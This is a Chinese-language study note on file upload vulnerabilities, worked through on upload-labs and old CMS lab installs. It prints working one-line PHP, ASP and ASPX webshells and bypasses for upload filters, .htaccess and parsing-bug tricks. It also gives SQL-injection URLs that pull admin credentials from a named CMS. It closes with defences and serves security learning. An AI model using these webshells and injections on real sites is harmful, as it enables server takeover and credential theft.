【CyberSecurityLearning 61】文件上传

目录

文件上传漏洞

* 漏洞概述

* 漏洞成因

* 漏洞危害

webshell

* 大马

* 小马

* Getshell

文件上传漏洞利用的条件

*一定的条件

防御、绕过、利用

*黑白名单策略

* PUT方法上传文件

1、Apache 如何开启PUT 方法

*前端限制与绕过

*服务器端检测--MIME 类型

*服务器端检测--文件内容

*服务器端检测--后缀名

00截断

.htaccess 攻击

*将.png 文件当作PHP 文件解析

*文件名中包含php 关键字

*匹配文件名[ajest], 找到该文件,并执行其中的PHP 代码

Web容器解析漏洞

*Apache 解析漏洞

*IIS6.0 解析漏洞

*PHP CGI 解析漏洞

实验演示:

@ Nginx 解析漏洞

*Nginx 空字节漏洞

*Nginx 文件名逻辑漏洞(CVE-2013-4745)

常见的编辑器上传

常见的CMS 上传

*南方数据管理系统(数据库备份拿webshell)(old)

*metinfov5.0.4 文件上传---代码审计

变量覆盖漏洞

文件上传漏洞的防御

*代码角度

*设置权限

*单独设置文件服务器的域名


文件上传漏洞

* 漏洞概述

     文件上传是web应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

* 漏洞成因

      文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;再者就是,程序开发部署的时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
 (1、服务器配置不当;2、没有做限制;  3、限制被绕过)

* 漏洞危害

      上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。(上传文件的时候是向服务器写文件,留言板提交数据是向数据库中写。要想去上传一个文件成功,就必须有一个目录专门去存放来自web用户的上传文件的目录,并且这个目录要给写权限。但是如果这样具有一个写权限保存文件上传的目录具有一个执行权限的话,我们这里就可以直接上传后门文件,利用目录的执行权限,去执行这个脚本,导致网站沦陷
      通过上传漏洞获得的网站后门,就是webshell。

webshell

     在计算机科学中,Shell俗称“壳”(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上命令解释器不止一种。
     webshell是一个网站的后门,也是一个命令解释器,不过是以web方式(HTTP协议)通信(传递命令消息),通过webshell执行的一些命令继承了web用户的权限。webshell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等,也就是说webshell接收来自web用户的命令,然后再服务端执行。

* 大马

     webshell也可以是大马,也是按照木马。有一类webshell  之所以叫大马,是因为小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己定制的大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。

     在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp的大马。

把black.asp文件放到IIS根目录

大概就长这个样子:(左侧就是大马的一些功能)

还有一款大马zladmin.aspx

以上就是asp的大马和aspx的大马

下面介绍一个PHP的大马(放到phpstudy根目录下)
下面这个大马号称可以过安全狗:112233.php

测试一下是不是能过安全狗:
打开win2008


重启一下web服务
我们先在phpstudy的根目录下写一个一句话木马(小马)

<?php
eval($_REQUEST[777]);
?>

本地访问:发现被安全狗拦截

在测试dm.php能不能过安全狗,过不了
 

* 小马

    小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各脚本的一句话。

    ASP:

    <%eval request("cmd")%>      命名为.asp再去用菜刀连接它

    ASP.NET:

    <%@ Page Language="Jscript"%>

    <%eval(request.Item["cmd"],"unsafe");%>     后缀改为aspx再用菜刀去连

    PHP:

    <?php @eval($_REQUEST['cmd']);?>

JSPjspx的一句话木马比较复杂一些

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。

中国菜刀(蚁剑)与一句话木马配合实现了三大基本功能:

@1、 文件管理

在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等

@2、 虚拟终端

在中国菜刀下可以获得cmd 和 bash 的命令行接口,可以执行相关命令。

@3、 数据库管理

我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例

<T>MYSQL</T>      //数据库类型

<H>localhost</H>     //数据地址

<U>root</U>     //数据库用户

<P>root</P>    //数据库密码

<L>utf-8</L>     //数据库编码

测试:
打开win2008(192.168.3.103),在phpstudy根目录下写yjh.php

<?php
@eval($_POST[777]);  //密码就是777
?>

物理机访问:
http://192.168.3.103/webshell/yjh.php 

打开蚁剑:

功能1、文件管理

功能2、右键打开虚拟终端

功能3、数据库管理

但是我们进行数据库管理的时候要添加配置

右键数据操作:

点击添加

其实蚁剑比菜刀好用很多

* Getshell

GetShell,顾名思义就是获取web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径

 

 

文件上传漏洞利用的条件

*一定的条件

1、Web 服务器要开启文件上传功能,并且上传api(接口)对外“开放”(web用户可以访问);[说白了就是我们用户要可以上传文件]

2、Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web 目录都有执行权限;

3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web 容器可以解析我们上传的脚本,无论脚本以什么样的形式存在;

4、无视以上条件的情况就是服务器配置不当,开启了PUT 方法。

 

防御、绕过、利用

文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。
为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以下文也是以这种方式讨论文件上传问题。

*黑白名单策略

黑白名单是常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果客体在黑名单中,一律禁止,如果客体在白名单中,一律允许。类似与手机号码的黑白名单。(客体就是我们审查的对象,主体就是具体的人、具体的操作)

如Chrome 浏览器的黑白名单策略:

政策

说明

URLBlacklist

禁止访问你已阻止的网址。不过,用户可以访问黑名单之外的所有网址

不设置此政策(策略):用户将可以自由访问所有网址

URLWhitelist

将此政策(策略)与URLBlacklist政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问

白名单的优先级高于黑名单。你至少要在黑名单中添加一个条目,才能正常使用此策略

不设置此策略:网址黑名单将没有例外网址

华为收集安装软件黑白名单策略:

模式

说明

白名单模式,检查只能安装的软件

只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为

对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装,属于违规行为

对于白名单中的软件,该软件不属于必须安装软件,而终端主机未安装,不属于违规行为

白名单+黑名单模式,检查必须安全的软件和禁止安全的软件

如果终端主机未安装白名单中的任意一款软件,则属于违规行为

如果终端主机已经安装黑名单中的任意一款如那件,则属于违规行为

如果终端主机已经安装了白名单中的所有软件,并且安装了黑名单中的任意一款软件,则不属于违规行为 

* PUT方法上传文件

PUT方法作为HTTP请求方法之一,它的作用是允许向服务器直接写入文件(也就是说如果服务器开启了put方法,我们不需要任何代码的支持我们就可以上传文件)

1、Apache 如何开启PUT 方法

@测试Apache 是否开启了put 方法

telnet 192.168.1.200 80

-------------
直接把下面的方法粘贴进去:

OPTIONS / HTTP/1.1

HOST:192.168.1.200

--------------------

@apache 开启put 方法操作

操作文件:httpd.conf 文件(操作之前记得备份)

phpstudy 目录:C:\phpStudy\Apache\conf\httpd.conf

开启dav模块

启用模块

开启文件锁

创建DAV 锁文件

C:\phpStudy\WWW\目录下创建名为 DavLock文件

重启Apache

再测试一下是否存在普通方法

上传文件

-----------

    PUT /info.php HTTP/1.1  (put就是请求方法,后面的路径就是我们要上传文件的路径)
    HOST:192.168.1.200
    Content-Length:18 (文件的长度是18个字符)

    <?php phpinfo();?>

-----------------

我们去访问一下info.php

不要太相信Ctrl+C和Ctrl+V,就是因为我们在Ctrl+C和Ctrl+V的时候会多打一些字符,比如说回车

PUT上传文件是一个非常非常古老的漏洞,它属于典型的服务器配置不当。
也就是说你给别人做检查的时候,你拿到一个web站点第一个就是检查put方法。

 

*前端限制与绕过

有一些Web 应用的文件上传功能,仅在前端用了JS 脚本做检测,如检测文件后缀名等。upload-labs(文件上传的靶场游戏)第一关,以下是经典代码

Upload-Labs 下载:
github项目地址:https://github.com/c0ny1/upload-labs

将文件夹复制到win2008的phpstudy根目录下



审查以下元素,选择上传按钮

点开event

搜索一下源代码有没有checkfile



我们对这种检测方法的绕过,最暴力的方法就是直接把事件改掉就行

再次上传就上传成功!

有些时候你上传成功之后有两个问题需要考虑:
1、你文件上传成功之后,这个文件的路径究竟上传到哪里了?
右键--copy image location,再在url中粘贴

 

upload-labs pass-1就是如此

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

这里采用的是白名单策略,检测文件后缀名。再配合表单事件使用

 <form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
</form>
 

前端JS 脚本检测的安全防御使非常薄弱的,可以非常轻松的绕过

对于第一关有以下方法:
方法一:因为JS 脚本运行环境使浏览器,我们可以修改JS代码,或者删除表单事件中的οnsubmit="return checkFile()"
方法二:使恶意文件后缀名符合白名单策略,用Burp 挂代理抓包,然后修改文件后缀名即可

先把phpinfo后缀名改成.gif

利用bp抓包改包的原理就是:我们先把info.php这个文件的后缀名改成jpg的形式,让他先通过前端检测,由于它检测在前端,我们进行抓包拦截的时候,说明这个包已经离开了前端,离开了浏览器,然后我们改包之后直接提交到服务器。

对于文件上传,只从Web前端进行检测显然防护不足,因此服务器端的检测就显得的特别重要,一般服务器端检测,采用黑白名单策略。

*服务器端检测--MIME类型

MIME 是描述消息内容类型的因特网标准。MIME 消息包含文本、图像、音频、视频以及其他应用程序的专用的数据。常见的MIME 类型如下

翻译成人话就是叫文件的类型

文件扩展名

Mime-Type

.js

application/x-javascript

.html

text/html

.jpg

image/jpeg

.png

image/png

.pdf

application/pdf

HTTP协议中,使用Content-Type字段表示文件的MIME类型,当我们上传文件的时候,抓到HTTP数据包。

在服务器端会检测Content-Type 类型。upload-labs第二关,经典代码如下

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']           

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            } else {

                $msg = '上传出错!';

            }

        } else {

            $msg = '文件类型不正确,请重新上传!';

        }

    } else {

        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';

    }

}

由于服务器在检测Content-Type类型的时候,取得的变量来自用户,故我们仍可以通过bp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件

*服务器端检测--文件内容

除了检测上传文件的Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。PHP 中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前该函数会判断目标文件是否为一张图片。因此,可以用该函数来检测文件的内容

抓个包:

upload-labs pass-14 关

function isImage($filename){

    $types = '.jpeg|.png|.gif';

    if(file_exists($filename)){

        $info = getimagesize($filename);

        $ext = image_type_to_extension($info[2]);

        if(stripos($types,$ext)>=0){

            return $ext;

        }else{

            return false;

        }

    }else{

        return false;

    }

}

对于文件内容的检测,我们可以通过上传图片木马绕过

木马图片的制作
建议在window系统下制作:


也就是说我们可以将恶意代码上传到服务器,但是服务器能不能运行是另外一回事。
这个对于提交漏洞来讲是不行的,但是可以写进报告

如果我们要想利用这种图片木马中的代码,我们需要结合其他漏洞(单独一个文件上传漏洞我们是不能利用的),其他漏洞包括服务器解析漏洞、文件包含漏洞等来解析我们图片木马中的内容

 

制作图片木马的第一种方法:

------------

GIF89a

-----------

制作图片木马的第二种方法:文件的合并

-----------

copy t011f97de8c87730f7c.jpg/b+phpinfo.php/a test_info.jpg(在另存的过程中修改了文件的后缀名
copy smile.jpg/b+info.php/a smile_info.jpg
这种方法有可能对PHP文件在解析这个图片码的时候有可能受到图片源码的影响导致我们图片木马没有办法运行
有一种办法就是重新再找一张图片,第二种方法就是换一种方法

-----------

制作图片木马的第三种方法:

找到一张图片右键属性---详细信息---版权(将代码写到版权里面)这种方法比copy还要好

制作图片木马的第四种方法:利用十六进制编辑器

文件幻术:

png:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

jpg:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c

gif:

47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

使用方法:
打开notepad++,输入89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52并且选中
选择插件---converter---选择HEX->ASCii:
命名为png_info.php

修改后缀为png_info.jpg再上传文件


 

*服务器端检测--后缀名

服务器端还会检测文件后缀名。

服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp...等可执行脚本文件;白名单策略,
只允许上传jpg|gif|png|doc|rar...等格式的文件。

@黑名单

代码中的$deny_exit 数据就是一个黑名单,数组元素就是不容许上传的类型

对于黑名单,我们可以寻找其他允许上传的类型来绕过限制(比如它如果把.php禁用了,你可以尝试上传.php2  .php3   .php5   .phtml格式等)

可以执行脚本后缀名

.php .php2 .php3 .php5 .phtml  (需要测试)

.asp .aspx .ascx .ashx .asa

.cer

.jsp .jspx

@白名单

对于后缀名白名单策略,我们只能通过上传白名单内的文件后缀名。

测试:

我们以info.php为例,把它改为info.php2,info.php3,.phtml....看能不能执行

 

以上就是文件上传的一些验证和一些验证的绕过,下面简单总结一些

文件上传的验证,大体上分为两类:
1、前端限制和绕过(修改js代码,删除事件)
2、服务器端验证(
          ①MIME类型,也比较脆弱,因为客户端可以自定义
          ②文件内容检测,用的是getimagesize函数,这个函数也比较容易被绕过,简单做一个图片木马上去就行,虽然说我们把图片木马上传到服务器上并不能直接运行,但是图片文件中包含了恶意代码,我们可以结合其他漏洞来触发这个代码
          ③服务器端验证还可以去验证后缀名,后缀名在验证的过程当中,无论是后缀名验证还是前面的验证我们采取黑白名单策略)

有时候burpsuite是抓不到包的:

因为bp在抓包的时候,127.0.0.1(localhost)是抓不到的,因为这个软件它的默认设置,可以用本机的IP地址来测试,避开这个问题

 

 

 

上面讲到的前端验证和后端验证都是从代码角度去研究的。下面将的这些是从其他角度去研究一下:

00截断

00就是Null(空)字符,URL中表现为%0000截断会导致文件上传路径截断(条件:PHP<5.3.29,且GPC关闭)。我们以upload-labs pass-11为例来说明这个问题

if(isset($_POST['submit'])){

    $ext_arr = array('jpg','png','gif');

    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

    if(in_array($file_ext,$ext_arr)){

        $temp_file = $_FILES['upload_file']['tmp_name'];

        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

 

        if(move_uploaded_file($temp_file,$img_path)){

            $is_upload = true;

        } else {

            $msg = '上传出错!';

        }

    } else{

        $msg = "只允许上传.jpg|.png|.gif类型文件!";

    }

}

先抓个包看看

思路:




我们访问一下这个路径

但是如果我们直接访问到test.php,发现访问成功:

这个就是00截断

因为底层是C语言写的,c语言是一直到后面是空字符才停止读取的,读的时候它不知道这个字符有多长,只要遇到空字符就认为字符串结束

 

.htaccess 攻击

Hypertext Access(超文本入口)

.htaccess 是Apache 服务器的分布式配置文件(httpd.conf属于全局配置文件),该配置文件会覆盖Apache 服务器的全局配置(就是httpd.conf),作用域是当前目录及其子目录。

如果一个Web 应用允许上传的.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险的。(举个例子,将.png文件当中php文件来解析运行)

.htaccess 攻击想象空间非常大

首先Apache 的配置,允许.htaccess 文件覆盖掉Apache 的配置

Override是覆盖的意思

*将.png 文件当作PHP 文件解析

将以下代码写入文件,并保存成.htaccess ,放到测试目录下

    AddType application/x-httpd-php .png

并在同一个目录下创建一个文件 info.png

    <?php

      phpinfo();

    ?>

当我们访问文件时,[info.php]内的PHP 代码将会被执行
.htaccess如果运行上传这个文件是非常危险的
有一种情况,你拿到一个网站后台的时候你想getshell的时候但是网站后台不允许你上传、修改PHP文件,但是你发现能够修改某一个目录下的.htaccess这个文件,即使你上传不了PHP文件,你也可以改它的Apache配置

 

*文件名中包含php关键字

当文件名[info.php.png]中包含关键字[.php],并且.htaccess文件内容如下,info.php.png中的代码会被执行

AddHandler php5-script php

 

*匹配文件名[ajest],找到该文件,并执行其中的PHP代码

我们文件的名字就是ajest

<FilesMatch "ajest">

SetHandler application/x-httpd-php

</FilesMatch>

以upload-labs pass-4为例

先上传[.htaccess] 文件

怎么去创建.htaccess文件呢?
打开win2008:我们直接记事本改后缀名强行重命名是不行的。

我们用notpad++,ctrl+N新建文件

先上传.htaccess

    ----.htaccess

    <FilesMatch "ajest">

    SetHandler application/x-httpd-php

    </FilesMatch>

    --------------

再上传[ajest]

-----ajest

<?php

phpinfo();

?>

----------

我们在本地(win2008先上传.htaccess再上传ajest)

 

 

 

Web容器解析漏洞

Web 容器解析漏洞,就是Web 容器在解析脚本出现的“bug”

*Apache 解析漏洞

info.php.xxx.xx.x

以第四关为例

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

查看源代码发现定义了黑名单

尝试上传文件:
将上面用到的info.php文件,命名为info.php.xxx.xxx.x

上传这个文件,找到路径

发现能上传成功,并且能解析执行PHP代码

这就是Apache服务器的解析漏洞,也就是说Apache在找文件后缀名的时候,它是从后向前找,它遇见x不认识,再遇到xx不认识,再遇到xxx不认识,再往前面找到php认识了
Apache解析漏洞是一个非常古老的漏洞,现在新版本已经被修掉了,这个考点经常出现在CTF当中

 

*IIS6.0 解析漏洞

第一个解析漏洞:

@ asp;1.jpg

     time.asp;1.jpg

打开windows2003

在Inetpub下的wwwroot下创建一个文件夹jiexiloudong,里面创建一个文件叫time.asp

IIS6.0解析漏洞,就是命名为time.asp;1.jpg

发现时间也能执行

 

第二个解析漏洞:

@ 1.asp/time.jpg 

新建文件夹命名为[1.asp](这里1可以是任意字符(只要这个文件是.asp就行)),在里面新建文件,命名为[time.png]

 

*PHP CGI解析漏洞

@ IIS7.0或者7.5

     IIS7.0/7.5+PHP环境

我们一般情况来讲,PHP环境一般都是和Apache来配合的,但是这个PHP CGI解析漏洞是PHP和IIS7.0或者7.5来配合
所以,你要是想搭建这个实验环境,你需要将本地的IIS7.0或者7.5去支持PHP环境

     让iis7.0/7.5支持PHP环境

实验演示:

win2008下先搭建IIS
计算机右键管理打开服务器管理器——角色——添加角色——选择Web服务器(IIS)——应用程序开发勾选上——安装

开始---管理工具---打开IIS

添加网站(网站名称test,物理路径C:\Intpub\wwwroot,端口8000---确定)

访问一下localhost:8000

怎么让我们IIS7去调用PHP环境?

如何实现IIS下支持PHP脚本类型

IIS 已经搭建成功
PHP环境借用PHPstudy中PHP环境
PHP环境路径【C:\phpstudy\php\php-5.4.45\】


打开IIS----双击处理映射程序图标

添加模块映射

点击FastCGI设置图标:

这样我们就你可以让IIS去支持PHP脚本了

这个漏洞怎么防御?

方法1::
找到处理映射程序---找到Fast-CGI-PHP--请求限制---映射,把勾勾上就行
方法2:

法二:修改php.ini配置文件(cgi.fax_path

 

nginx中也存在类似的问题

 

 

Nginx 解析漏洞复现:

https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

@ Nginx解析漏洞

/info.png/.php

这个漏洞和cgi.fix_pathinfo有关  把这个参数关闭漏洞就修复了

*Nginx空字节漏洞

localhost/info.html%00.php

*Nginx文件名逻辑漏洞(CVE-2013-4745

 

 

常见的编辑器上传

编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞

    *ewebeditor(比较古老的编辑器)

    *fckeditor

利用小马拉大马也是一个惯用伎俩!

常见的CMS 上传

    CMS 又叫网站内容管理系统(网站的模版,帮助我们快速建站,我们会在这个网站模板上做二次开发),市面上很多开源的CMS 的历史版本有很多都存在着文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中介绍的那样“直白”。类似的CMS 有很多,比如常见的dedeCMS(织梦)、PHPcms、Seacms 等。

YXcms

https://pan.baidu.com/s/1xd8MdGwqZqErtvu0QO5d5A
提取码:xbb5

https://blog.csdn.net/Zer0ooo/article/details/103190622?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.control

学渗透如果不知道南方数据管理系统的文件上传就跟没学过一样,太经典了!

*南方数据管理系统(数据库备份拿webshell)(old)

南方企业管理系统v9.0.rar

http://www.piaodown.com/soft/20589.html#soft_down

后台getshell 
asp|access|.mdb|下载

    win2003

    权限?

    利用数据库备份getshell|另存|自定义文件的名字

这是一个asp网站,这个网站把它搭建到win2003里面,尤其要注意权限的问题
南方数据库管理系统实际上进行文件上传的核心是利用数据库备份getshell,由于它是asp的网站,所以他的数据库是ACCESS,ACCESS数据库实际上就是网站目录下的.mdb文件
只要是.mdb文件就可以下载(可以配置IIS放下载)

搭建网站过程省略(端口8004),搭建的时候注意启用父路径
win2003的ip:192.168.3.114
物理机访问192.168.3.114:8004

南方数据管理系统是后台getshell,这里我们就要进入后台。
进入后台有几种方式?获取后台账密
南方数据管理系统是有注入点的

   两个注入点:

[/news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7]

[/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20selecct%20*%20from%20news%20where%201=2%20and%20''=']
 

后台登陆帐号:admin 密码:0791idc 

后台
       御剑扫一下后台

进入后台:

点击系统管理---数据库备份

点击荣誉管理---添加企业荣誉---上传大马
发现有限制,抓个包看看,把filename中的black.php改成.jpg发现上传成功

    修改后缀名,上传大马

    UploadFiles/2393209844.jpg

*metinfov5.0.4 文件上传---代码审计

5.0.4不通过,我们这里用5.1.4

MetInfo 历史版本与升级包下载:https://zhuanlan.zhihu.com/p/45722772

这也是一个开源的cms,非常经典,比较老了
又有文件注入、SQL注入、文件包含
文件注入和文件包含这两个漏洞都源于变量覆盖

 

搭建到win2008,复制到phpstudy的根目录
win2008的ip:192.168.3.118
物理机访问

出现报错:

解决方法,打开php的配置文件,php.ini

成功登陆

安装一直下一步就行

存在文件上传漏洞的文件在:D:\phpStudy\WWW\MetInfo5.1.4\admin\include下的uploadify.php

我们做这个文件进行代码审计

我们来学一种语言结构foreach

foreach($mettables as $key=>$val){
    $tablename='met_'.$val;    
    $$tablename=$tablepre.$val;
}

变量覆盖漏洞

-------------

$name="HELLOWORD!";

//?name=AJEST

foreach($_GET as $key=>$val){

    $$key=$val;//$name=AJEST;

}

var_dump($name);

-------------

通过变量覆盖漏洞,可以修改Web 应用的参数

文件上传漏洞的防御

关于文件上传的防御,防住危险的脚步类型是最基本的防御,最理想的就是能够过滤掉图片马中的恶意代码。如果一个Web 应用能够上传图片木马,那么我们认为这个Web 应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。

*代码角度

         @ 采用白名单策略,严格限制上传文件的后缀名。

        @ 进行二次渲染,过滤掉图片木马中的恶意代码。

        @ 将用户上传文件改名存放,包括文件名及其扩展名,并将其存放路径和文件名存放在数据库中。系统使用文件时,通过查询数据库动态获取。

        @ 使用随机数改写文件名和路径

*设置权限

        限制上传目录下拥有的执行权限

*单独设置文件服务器的域名

 

 

 

 


版权声明:本文为Waffle666原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。